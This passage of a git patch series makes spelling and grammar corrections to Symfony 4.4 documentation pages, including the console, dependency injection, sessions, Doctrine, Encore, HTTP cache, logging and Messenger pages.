 Validating a Hidden Response
diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index b59abe1d73a..9b479d0f9a6 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -147,7 +147,7 @@ The output of this command will be:
     | 99921 | Divine Com | Dante Alighieri                |
     | -58-1 | edy        |                                |
     | 0-7   |            |                                |
-    |                (the rest of rows...)                |
+    |                (the rest of the rows...)            |
     +-------+------------+--------------------------------+
 
 The table style can be changed to any built-in styles via
@@ -350,7 +350,7 @@ This outputs:
     | 978-0804169127 | Divine Comedy | spans multiple rows |
     +----------------+---------------+---------------------+
 
-You can use the ``colspan`` and ``rowspan`` options at the same time which allows
+You can use the ``colspan`` and ``rowspan`` options at the same time, which allows
 you to create any table layout you may wish.
 
 .. _console-modify-rendered-tables:
diff --git a/components/console/single_command_tool.rst b/components/console/single_command_tool.rst
index 457efb48dae..ff4c2be8f1c 100644
--- a/components/console/single_command_tool.rst
+++ b/components/console/single_command_tool.rst
@@ -5,7 +5,7 @@ Building a single Command Application
 =====================================
 
 When building a command line tool, you may not need to provide several commands.
-In such case, having to pass the command name each time is tedious. Fortunately,
+In such a case, having to pass the command name each time is tedious. Fortunately,
 it is possible to remove this need by declaring a single command application::
 
     #!/usr/bin/env php
@@ -30,7 +30,7 @@ it is possible to remove this need by declaring a single command application::
         ->run();
 
 The :method:`Symfony\\Component\\Console\\Application::setDefaultCommand` method
-accepts a boolean as second parameter. If true, the command ``echo`` will then
+accepts a boolean as the second parameter. If true, the command ``echo`` will then
 always be used, without having to pass its name.
 
 You can still register a command as usual::

From bdae230247b9d43ac433cdcaf516c9790a462a86 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 12:29:36 -0400
Subject: [PATCH 1485/5766] Correct spelling & grammar in 4.4
 components/dependency_injection/

---
 components/dependency_injection/compilation.rst | 4 ++--
 components/dependency_injection/workflow.rst    | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index d7284046b82..acf754c0f5d 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -358,8 +358,8 @@ methods described in :doc:`/service_container/definitions`.
     method call if some required service is not available.
 
 A common use-case of compiler passes is to search for all service definitions
-that have a certain tag in order to process dynamically plug each into some
-other service. See the section on :ref:`service tags <service-container-compiler-pass-tags>`
+that have a certain tag, in order to dynamically plug each one into other services.
+See the section on :ref:`service tags <service-container-compiler-pass-tags>`
 for an example.
 
 .. _components-di-separate-compiler-passes:
diff --git a/components/dependency_injection/workflow.rst b/components/dependency_injection/workflow.rst
index 7ea3c1ea28e..eb0bbb06984 100644
--- a/components/dependency_injection/workflow.rst
+++ b/components/dependency_injection/workflow.rst
@@ -25,7 +25,7 @@ container exists. The kernel has a debug setting and if this is false,
 the cached version is used if it exists. If debug is true then the kernel
 :doc:`checks to see if configuration is fresh </components/config/caching>`
 and if it is, the cached version of the container is used. If not then the
-container is built from the application-level configuration and the bundles's
+container is built from the application-level configuration and the bundles'
 extension configuration.
 
 Read :ref:`Dumping the Configuration for Performance <components-dependency-injection-dumping>`

From bf9f218ce48fa430f3f92113c8af1e69c49740aa Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 12:37:40 -0400
Subject: [PATCH 1486/5766] Correct spelling & grammar in 4.4
 components/expression_language/

---
 components/expression_language/ast.rst     | 4 ++--
 components/expression_language/caching.rst | 2 +-
 components/expression_language/syntax.rst  | 2 +-
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/expression_language/ast.rst b/components/expression_language/ast.rst
index 0f15c20647a..2bd2bf80023 100644
--- a/components/expression_language/ast.rst
+++ b/components/expression_language/ast.rst
@@ -5,8 +5,8 @@
 Dumping and Manipulating the AST of Expressions
 ===============================================
 
-Manipulating or inspecting the expressions created with the ExpressionLanguage
-component is difficult because they are plain strings. A better approach is to
+It’s difficult to manipulate or inspect the expressions created with the ExpressionLanguage
+component, because the expressions are plain strings. A better approach is to
 turn those expressions into an AST. In computer science, `AST`_ (*Abstract
 Syntax Tree*) is *"a tree representation of the structure of source code written
 in a programming language"*. In Symfony, a ExpressionLanguage AST is a set of
diff --git a/components/expression_language/caching.rst b/components/expression_language/caching.rst
index 770c2768ca5..29e1e0116f7 100644
--- a/components/expression_language/caching.rst
+++ b/components/expression_language/caching.rst
@@ -25,7 +25,7 @@ The ``evaluate()`` method needs to loop through the "nodes" (pieces of an
 expression saved in the ``ParsedExpression``) and evaluate them on the fly.
 
 To save time, the ``ExpressionLanguage`` caches the ``ParsedExpression`` so
-it can skip the tokenize and parse steps with duplicate expressions. The
+it can skip the tokenization and parsing steps with duplicate expressions. The
 caching is done by a PSR-6 `CacheItemPoolInterface`_ instance (by default, it
 uses an :class:`Symfony\\Component\\Cache\\Adapter\\ArrayAdapter`). You can
 customize this by creating a custom cache pool or using one of the available
diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index af5bfa5fc71..b78ac907ca8 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -195,7 +195,7 @@ Comparison Operators
 
         $expressionLanguage->evaluate('not ("foo" matches "/bar/")'); // returns true
 
-    You must use parenthesis because the unary operator ``not`` has precedence
+    You must use parentheses because the unary operator ``not`` has precedence
     over the binary operator ``matches``.
 
 Examples::

From f96660e15e1a0d233880c466c57e4271ceb83d93 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 12:41:34 -0400
Subject: [PATCH 1487/5766] Correct spelling & grammar in 4.4
 components/http_foundation/

---
 components/http_foundation/sessions.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/http_foundation/sessions.rst b/components/http_foundation/sessions.rst
index 9c9479e3e5e..e8ca28d35d3 100644
--- a/components/http_foundation/sessions.rst
+++ b/components/http_foundation/sessions.rst
@@ -53,7 +53,7 @@ Quick example::
 .. caution::
 
     Symfony sessions are incompatible with ``php.ini`` directive ``session.auto_start = 1``
-    This directive should be turned off in ``php.ini``, in the webserver directives or
+    This directive should be turned off in ``php.ini``, in the web server directives or
     in ``.htaccess``.
 
 Session API
@@ -152,7 +152,7 @@ the following API which is intended mainly for internal purposes:
     Returns the name of the session bag.
 
 :method:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface::clear`
-    Clears out data from bag.
+    Clears out data from the bag.
 
 .. _attribute-bag-interface:
 
@@ -291,7 +291,7 @@ has the API
     Gets flashes by type (read only).
 
 :method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peekAll`
-    Gets all flashes (read only) as keyed array of arrays.
+    Gets all flashes (read only) as a keyed array of arrays.
 
 :method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::has`
     Returns true if the type exists, false if not.

From d5665080158fae46321119731dc643267c6f699b Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 12:46:35 -0400
Subject: [PATCH 1488/5766] Correct spelling & grammar in 4.4
 components/security/

---
 components/security/authentication.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index 1f75b433c6c..2a1582b0636 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -292,7 +292,7 @@ Authentication Success and Failure Events
 When a provider authenticates the user, a ``security.authentication.success``
 event is dispatched. But beware - this event may fire, for example, on *every*
 request if you have session-based authentication, if ``always_authenticate_before_granting``
-is enabled or if token is not authenticated before AccessListener is invoked.
+is enabled or if the token is not authenticated before AccessListener is invoked.
 See ``security.interactive_login`` below if you need to do something when a user *actually* logs in.
 
 When a provider attempts authentication but fails (i.e. throws an ``AuthenticationException``),
@@ -317,7 +317,7 @@ The ``security.switch_user`` event is triggered every time you activate
 the ``switch_user`` firewall listener.
 
 The ``Symfony\Component\Security\Http\Event\DeauthenticatedEvent`` event is triggered when a token has been deauthenticated
-because of a user change, it can help you doing some clean-up task.
+because of a user change. It can help you perform clean-up tasks.
 
 .. versionadded:: 4.3
 

From 0df55fc30aa3b76c19155b70e99e357fa25ed00e Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 12:55:12 -0400
Subject: [PATCH 1489/5766] Correct spelling & grammar in 4.4 components/yaml/

---
 components/yaml/yaml_format.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/yaml/yaml_format.rst b/components/yaml/yaml_format.rst
index 46d43a797be..d2b7e62e5d2 100644
--- a/components/yaml/yaml_format.rst
+++ b/components/yaml/yaml_format.rst
@@ -25,7 +25,7 @@ they can also be unquoted:
 
     A string in YAML
 
-    'A singled-quoted string in YAML'
+    'A single-quoted string in YAML'
 
     "A double-quoted string in YAML"
 

From 70ecc72ed13e622e69c4e5b2f809b074c6d8e1da Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 13:32:44 -0400
Subject: [PATCH 1490/5766] Correct spelling & grammar in 4.4 configuration/

---
 configuration/env_var_processors.rst           | 4 ++--
 configuration/front_controllers_and_kernel.rst | 2 +-
 configuration/multiple_kernels.rst             | 2 +-
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index e5e65d3255f..e8421290481 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -525,8 +525,8 @@ Symfony provides the following env var processors:
             $container->setParameter('private_key', '%env(default:raw_key:file:PRIVATE_KEY)%');
             $container->setParameter('raw_key', '%env(PRIVATE_KEY)%');
 
-    When the fallback parameter is omitted (e.g. ``env(default::API_KEY)``), the
-    value returned is ``null``.
+    When the fallback parameter is omitted (e.g. ``env(default::API_KEY)``), then the
+    returned value is ``null``.
 
     .. versionadded:: 4.3
 
diff --git a/configuration/front_controllers_and_kernel.rst b/configuration/front_controllers_and_kernel.rst
index fe3c8179ed0..b7b70456cb7 100644
--- a/configuration/front_controllers_and_kernel.rst
+++ b/configuration/front_controllers_and_kernel.rst
@@ -135,7 +135,7 @@ should run in "debug mode". Regardless of the
 :ref:`configuration environment <configuration-environments>`, a Symfony
 application can be run with debug mode set to ``true`` or ``false``.
 
-This affects many things in the application, such as displaying stacktraces on
+This affects many things in the application, such as displaying stack traces on
 error pages or if cache files are dynamically rebuilt on each request. Though
 not a requirement, debug mode is generally set to ``true`` for the ``dev`` and
 ``test`` environments and ``false`` for the ``prod`` environment.
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index a0069b9be4b..029b4c1e5fb 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -77,7 +77,7 @@ Now you need to define the ``ApiKernel`` class used by the new front controller.
 The easiest way to do this is by duplicating the existing  ``src/Kernel.php``
 file and make the needed changes.
 
-In this example, the ``ApiKernel`` will load less bundles than the default
+In this example, the ``ApiKernel`` will load fewer bundles than the default
 Kernel. Be sure to also change the location of the cache, logs and configuration
 files so they don't collide with the files from ``src/Kernel.php``::
 

From 0dc86acf5531119d03f63d76f019f83644217279 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 14:12:23 -0400
Subject: [PATCH 1491/5766] Correct spelling & grammar in 4.4 controller/

---
 controller/soap_web_service.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/soap_web_service.rst b/controller/soap_web_service.rst
index 95c078700c1..effa613c1c5 100644
--- a/controller/soap_web_service.rst
+++ b/controller/soap_web_service.rst
@@ -95,7 +95,7 @@ buffering the STDOUT and use ``ob_get_clean()`` to dump the echoed output
 into the content of the Response and clear the output buffer. Finally, you're
 ready to return the ``Response``.
 
-Below is an example calling the service using a native `SoapClient`_ client. This example
+Below is an example of calling the service using a native `SoapClient`_ client. This example
 assumes that the ``index()`` method in the controller above is accessible via
 the route ``/soap``::
 

From b22b5e0d13ca767b60a5d051b3cfa01fbcb3b249 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 14:18:58 -0400
Subject: [PATCH 1492/5766] Correct spelling & grammar in 4.4 create_framework/

---
 create_framework/front_controller.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/create_framework/front_controller.rst b/create_framework/front_controller.rst
index 61169db0cf1..733e764c94e 100644
--- a/create_framework/front_controller.rst
+++ b/create_framework/front_controller.rst
@@ -127,7 +127,7 @@ its sub-directories (only if needed -- see above tip).
 
 .. tip::
 
-    You don't even need to setup a web server to test the code. Instead,
+    You don't even need to set up a web server to test the code. Instead,
     replace the ``$request = Request::createFromGlobals();`` call to something
     like ``$request = Request::create('/hello?name=Fabien');`` where the
     argument is the URL path you want to simulate.

From bf750f216be9495a1ad36b5c484183e12b2edfa9 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 14:27:52 -0400
Subject: [PATCH 1493/5766] Correct spelling & grammar in 4.4 doctrine/

---
 doctrine/associations.rst          | 2 +-
 doctrine/dbal.rst                  | 2 +-
 doctrine/registration_form.rst     | 4 ++--
 doctrine/resolve_target_entity.rst | 2 +-
 doctrine/reverse_engineering.rst   | 4 ++--
 5 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 4a2fafb6467..a3c138c008f 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -299,7 +299,7 @@ config.
     *exactly* like an array, but has some added flexibility. Just imagine that
     it is an ``array`` and you'll be in good shape.
 
-Your database is setup! Now, run the migrations like normal:
+Your database is set up! Now, run the migrations like normal:
 
 .. code-block:: terminal
 
diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index 80c145d3d6a..a1aa4291eb2 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -120,7 +120,7 @@ Registering custom Mapping Types in the SchemaTool
 
 The SchemaTool is used to inspect the database to compare the schema. To
 achieve this task, it needs to know which mapping type needs to be used
-for each database types. Registering new ones can be done through the configuration.
+for each database type. Registering new ones can be done through the configuration.
 
 Now, map the ENUM type (not supported by DBAL by default) to the ``string``
 mapping type:
diff --git a/doctrine/registration_form.rst b/doctrine/registration_form.rst
index d999eda77e9..841e1960512 100644
--- a/doctrine/registration_form.rst
+++ b/doctrine/registration_form.rst
@@ -14,7 +14,7 @@ form you must:
 #. :doc:`Create a form </forms>` to ask for the registration information (you can
    generate this with the ``make:registration-form`` command provided by the `MakerBundle`_);
 #. Create :doc:`a controller </controller>` to :ref:`process the form <processing-forms>`;
-#. :ref:`Protect some parts of your application <security-authorization>` so
-   only registered users can access to them.
+#. :ref:`Protect some parts of your application <security-authorization>` so that
+   only registered users can access them.
 
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
diff --git a/doctrine/resolve_target_entity.rst b/doctrine/resolve_target_entity.rst
index 765f5d187ce..9be8730ba4a 100644
--- a/doctrine/resolve_target_entity.rst
+++ b/doctrine/resolve_target_entity.rst
@@ -5,7 +5,7 @@
 How to Define Relationships with Abstract Classes and Interfaces
 ================================================================
 
-One of the goals of bundles is to create discreet bundles of functionality
+One of the goals of bundles is to create discrete bundles of functionality
 that do not have many (if any) dependencies, allowing you to use that
 functionality in other applications without including unnecessary items.
 
diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
index bd5d1402198..74d56159ac3 100644
--- a/doctrine/reverse_engineering.rst
+++ b/doctrine/reverse_engineering.rst
@@ -5,7 +5,7 @@ How to Generate Entities from an Existing Database
 ==================================================
 
 When starting work on a brand new project that uses a database, two different
-situations comes naturally. In most cases, the database model is designed
+situations can occur. In most cases, the database model is designed
 and built from scratch. Sometimes, however, you'll start with an existing and
 probably unchangeable database model. Fortunately, Doctrine comes with a bunch
 of tools to help generate model classes from your existing database.
@@ -47,7 +47,7 @@ to a post record thanks to a foreign key constraint.
     ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
 
 Before diving into the recipe, be sure your database connection parameters are
-correctly setup in the ``.env`` file (or ``.env.local`` override file).
+correctly set up in the ``.env`` file (or ``.env.local`` override file).
 
 The first step towards building entity classes from an existing database
 is to ask Doctrine to introspect the database and generate the corresponding

From 079b1fb6feba73cba84aa6575f1f76e1da39e86f Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 14:39:44 -0400
Subject: [PATCH 1494/5766] Correct spelling & grammar in 4.4 form/

---
 form/dynamic_form_modification.rst | 6 +++---
 form/form_themes.rst               | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 2f885850a0e..414a7023768 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -4,7 +4,7 @@
 How to Dynamically Modify Forms Using Form Events
 =================================================
 
-Often times, a form can't be created statically. In this article, you'll learn
+Oftentimes, a form can't be created statically. In this article, you'll learn
 how to customize your form based on three common use-cases:
 
 1) :ref:`Customizing your Form Based on the Underlying Data <form-events-underlying-data>`
@@ -506,8 +506,8 @@ exactly the same things on a given form.
 
 .. tip::
 
-    The ``FormEvents::POST_SUBMIT`` event does not allow to modify the form
-    the listener is bound to, but it allows to modify its parent.
+    The ``FormEvents::POST_SUBMIT`` event does not allow modifications to the form
+    the listener is bound to, but it allows modifications to its parent.
 
 One piece that is still missing is the client-side updating of your form after
 the sport is selected. This should be handled by making an AJAX call back to
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 92f08b5de4b..69a24a2adb0 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -143,7 +143,7 @@ You can also apply a form theme to a specific child of your form:
     {% form_theme form.a_child_form 'form/my_custom_theme.html.twig' %}
 
 This is useful when you want to have a custom theme for a nested form that's
-different than the one of your main form. Specify both your themes:
+different from the one of your main form. Specify both your themes:
 
 .. code-block:: twig
 

From f66044321750c549b067df0634a1fadeb0bdffa1 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 15:37:11 -0400
Subject: [PATCH 1495/5766] Correct spelling & grammar in 4.4 frontend/

---
 frontend/encore/advanced-config.rst      | 2 +-
 frontend/encore/installation.rst         | 2 +-
 frontend/encore/page-specific-assets.rst | 2 +-
 frontend/encore/simple-example.rst       | 2 +-
 frontend/encore/url-loader.rst           | 2 +-
 5 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index 722a8b57aa4..26cd3a00a6e 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -5,7 +5,7 @@ Summarized, Encore generates the Webpack configuration that's used in your
 ``webpack.config.js`` file. Encore doesn't support adding all of Webpack's
 `configuration options`_, because many can be added on your own.
 
-For example, suppose you need to resolve automatically a new extension.
+For example, suppose you need to automatically resolve a new extension.
 To do that, modify the config after fetching it from Encore:
 
 .. code-block:: javascript
diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index 08ba52a342b..0aa6700a360 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -168,7 +168,7 @@ And the new ``assets/css/app.css`` file:
         background-color: lightgray;
     }
 
-You'll customize and learn more about these file in :doc:`/frontend/encore/simple-example`.
+You'll customize and learn more about these files in :doc:`/frontend/encore/simple-example`.
 
 .. caution::
 
diff --git a/frontend/encore/page-specific-assets.rst b/frontend/encore/page-specific-assets.rst
index 92ab00a0a61..8f03bfb5877 100644
--- a/frontend/encore/page-specific-assets.rst
+++ b/frontend/encore/page-specific-assets.rst
@@ -24,4 +24,4 @@ page-specific JavaScript and CSS file from a page-specific entry (e.g. ``checkou
 .. tip::
 
     Be sure to use :doc:`split chunks </frontend/encore/split-chunks>`
-    to avoid duplicating and shared code between your entry files.
+    to avoid duplicate and shared code between your entry files.
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 47bc2bb2ccc..cd7cd8ffbcc 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -313,7 +313,7 @@ file to ``app.scss`` and update the ``import`` statement:
     - import '../css/app.css';
     + import '../css/app.scss';
 
-Then, tell Encore to enable the Sass pre-processor:
+Then, tell Encore to enable the Sass preprocessor:
 
 .. code-block:: diff
 
diff --git a/frontend/encore/url-loader.rst b/frontend/encore/url-loader.rst
index 5242d3fcb1d..be2907a5161 100644
--- a/frontend/encore/url-loader.rst
+++ b/frontend/encore/url-loader.rst
@@ -33,7 +33,7 @@ Then enable it in your ``webpack.config.js``:
 
 The ``limit`` option defines the maximum size in bytes of the inlined files. In
 the previous example, font and image files having a size below or equal to 4 KB
-will be inlined and the rest of files will be processed as usual.
+will be inlined and the rest of the files will be processed as usual.
 
 You can also use all the other options supported by the `URL Loader`_. If you
 want to disable this loader for either images or fonts, remove the corresponding

From bb7bda96f4dfc3896731cae4f9888cad3f39d20f Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 16:54:52 -0400
Subject: [PATCH 1496/5766] Correct spelling & grammar in 4.4 http_cache/

---
 http_cache/cache_invalidation.rst | 2 +-
 http_cache/ssi.rst                | 2 +-
 http_cache/varnish.rst            | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index 4e84cb00807..be62f7b473c 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -91,7 +91,7 @@ to support the ``PURGE`` HTTP method::
 
 **Purge** instructs the cache to drop a resource in *all its variants*
 (according to the ``Vary`` header, see :doc:`/http_cache/cache_vary`). An alternative to purging is
-**refreshing** a content. Refreshing means that the caching proxy is
+**refreshing** the content. Refreshing means that the caching proxy is
 instructed to discard its local cache and fetch the content again. This way,
 the new content is already available in the cache. The drawback of refreshing
 is that variants are not invalidated.
diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst
index fe8f1552912..c206a730812 100644
--- a/http_cache/ssi.rst
+++ b/http_cache/ssi.rst
@@ -33,7 +33,7 @@ Symfony manages only the ``#include virtual`` one.
 
 .. caution::
 
-    Be careful with SSI, your website may be victim of injections.
+    Be careful with SSI, your website may fall victim to injections.
     Please read this `OWASP article`_ first!
 
 When the web server reads an SSI directive, it requests the given URI or gives
diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst
index dd38b717ea8..d94e1dbcf7e 100644
--- a/http_cache/varnish.rst
+++ b/http_cache/varnish.rst
@@ -89,7 +89,7 @@ configuration of PHP, your session cookie has the name ``PHPSESSID``:
                 set req.http.Cookie = regsuball(req.http.Cookie, "^[; ]+|[; ]+$", "");
 
                 if (req.http.Cookie == "") {
-                    // If there are no more cookies, remove the header to get page cached.
+                    // If there are no more cookies, remove the header to get the page cached.
                     unset req.http.Cookie;
                 }
             }

From 7c8b9231792d00a96c717a64bce7491375bb4c56 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 17:00:45 -0400
Subject: [PATCH 1497/5766] Correct spelling & grammar in 4.4 introduction/

---
 introduction/from_flat_php_to_symfony.rst | 2 +-
 introduction/http_fundamentals.rst        | 6 +++---
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index d6d631d6857..b2840d1a17d 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -402,7 +402,7 @@ have *many* controller functions: one for each page.
 
 By now, the application has evolved from a single PHP file into a structure
 that is organized and allows for code reuse. You should be happier, but far
-from satisfied. For example, the routing system is fickle, and wouldn't
+from being satisfied. For example, the routing system is fickle, and wouldn't
 recognize that the list page - ``/index.php``  - should be accessible also via ``/``
 (if Apache rewrite rules were added). Also, instead of developing the blog,
 a lot of time is being spent working on the "architecture" of the code (e.g.
diff --git a/introduction/http_fundamentals.rst b/introduction/http_fundamentals.rst
index 5e11f44c007..5cb74615c2c 100644
--- a/introduction/http_fundamentals.rst
+++ b/introduction/http_fundamentals.rst
@@ -234,10 +234,10 @@ have all the request information at your fingertips::
     $request->getMethod();    // e.g. GET, POST, PUT, DELETE or HEAD
     $request->getLanguages(); // an array of languages the client accepts
 
-As a bonus, the ``Request`` class does a lot of work in the background that
-you'll never need to worry about. For example, the ``isSecure()`` method
+As a bonus, the ``Request`` class does a lot of work in the background about which
+you will never need to worry. For example, the ``isSecure()`` method
 checks the *three* different values in PHP that can indicate whether or not
-the user is connecting via a secured connection (i.e. HTTPS).
+the user is connecting via a secure connection (i.e. HTTPS).
 
 Symfony Response Object
 ~~~~~~~~~~~~~~~~~~~~~~~

From c3eba93e0615f98a6a8e4b87dfa4e00e5421e679 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 17:35:09 -0400
Subject: [PATCH 1498/5766] Correct spelling & grammar in 4.4 logging/

---
 logging/handlers.rst        | 2 +-
 logging/monolog_console.rst | 2 +-
 logging/monolog_email.rst   | 4 ++--
 logging/processors.rst      | 2 +-
 4 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/logging/handlers.rst b/logging/handlers.rst
index 1682040e504..0ce0f4c3249 100644
--- a/logging/handlers.rst
+++ b/logging/handlers.rst
@@ -9,7 +9,7 @@ ElasticsearchLogstashHandler
     The ``ElasticsearchLogstashHandler`` was introduced in Symfony 4.4.
 
 This handler deals directly with the HTTP interface of Elasticsearch. This means
-it will slow down your application if Elasticsearch takes times to answer. Even
+it will slow down your application if Elasticsearch takes time to answer. Even
 if all HTTP calls are done asynchronously.
 
 In a development environment, it's fine to keep the default configuration: for
diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index 663922f28af..d714d938b4b 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -61,7 +61,7 @@ The example above could then be rewritten as::
 
 Depending on the verbosity level that the command is run in and the user's
 configuration (see below), these messages may or may not be displayed to
-the console. If they are displayed, they are timestamped and colored appropriately.
+the console. If they are displayed, they are time-stamped and colored appropriately.
 Additionally, error logs are written to the error output (``php://stderr``).
 There is no need to conditionally handle the verbosity settings anymore.
 
diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index f68f8c3237e..812367cacd9 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -142,8 +142,8 @@ is then passed onto the ``deduplicated`` handler.
 
 The ``deduplicated`` handler keeps all the messages for a request and then
 passes them onto the nested handler in one go, but only if the records are
-unique over a given period of time (60 seconds by default). If the records are
-duplicated they are discarded. Adding this handler reduces the amount of
+unique over a given period of time (60 seconds by default). Duplicated records are
+discarded. Adding this handler reduces the amount of
 notifications to a manageable level, specially in critical failure scenarios.
 You can adjust the time period using the ``time`` option:
 
diff --git a/logging/processors.rst b/logging/processors.rst
index 5f1e27834b5..1aa331b23f3 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -179,7 +179,7 @@ Symfony's MonologBridge provides processors that can be registered inside your a
     Adds information about current route (controller, action, route parameters).
 
 :class:`Symfony\\Bridge\\Monolog\\Processor\\ConsoleCommandProcessor`
-    Adds information about current console command.
+    Adds information about the current console command.
 
 .. versionadded:: 4.3
 

From 5dd413e2da1de0bbd4798639b8608f05d59873d4 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 17:38:14 -0400
Subject: [PATCH 1499/5766] Correct spelling & grammar in 4.4 messenger/

---
 messenger/dispatch_after_current_bus.rst | 2 +-
 messenger/multiple_buses.rst             | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger/dispatch_after_current_bus.rst b/messenger/dispatch_after_current_bus.rst
index 7daaaebc676..ec1adf4d0f4 100644
--- a/messenger/dispatch_after_current_bus.rst
+++ b/messenger/dispatch_after_current_bus.rst
@@ -126,7 +126,7 @@ will not be rolled back.
     If ``WhenUserRegisteredThenSendWelcomeEmail`` throws an exception, that
     exception will be wrapped into a ``DelayedMessageHandlingException``. Using
     ``DelayedMessageHandlingException::getExceptions`` will give you all
-    exceptions that are thrown while handing a message with the
+    exceptions that are thrown while handling a message with the
     ``DispatchAfterCurrentBusStamp``.
 
 The ``dispatch_after_current_bus`` middleware is enabled by default. If you're
diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 4ee95c1380d..fcafbe0deaf 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -235,7 +235,7 @@ Debugging the Buses
 -------------------
 
 The ``debug:messenger`` command lists available messages & handlers per bus.
-You can also restrict the list to a specific bus by providing its name as argument.
+You can also restrict the list to a specific bus by providing its name as an argument.
 
 .. code-block:: terminal
 

From 2c8104c028385d272afee69cb77b2895dd4bb0b9 Mon Sep 17 00:00:00 2001
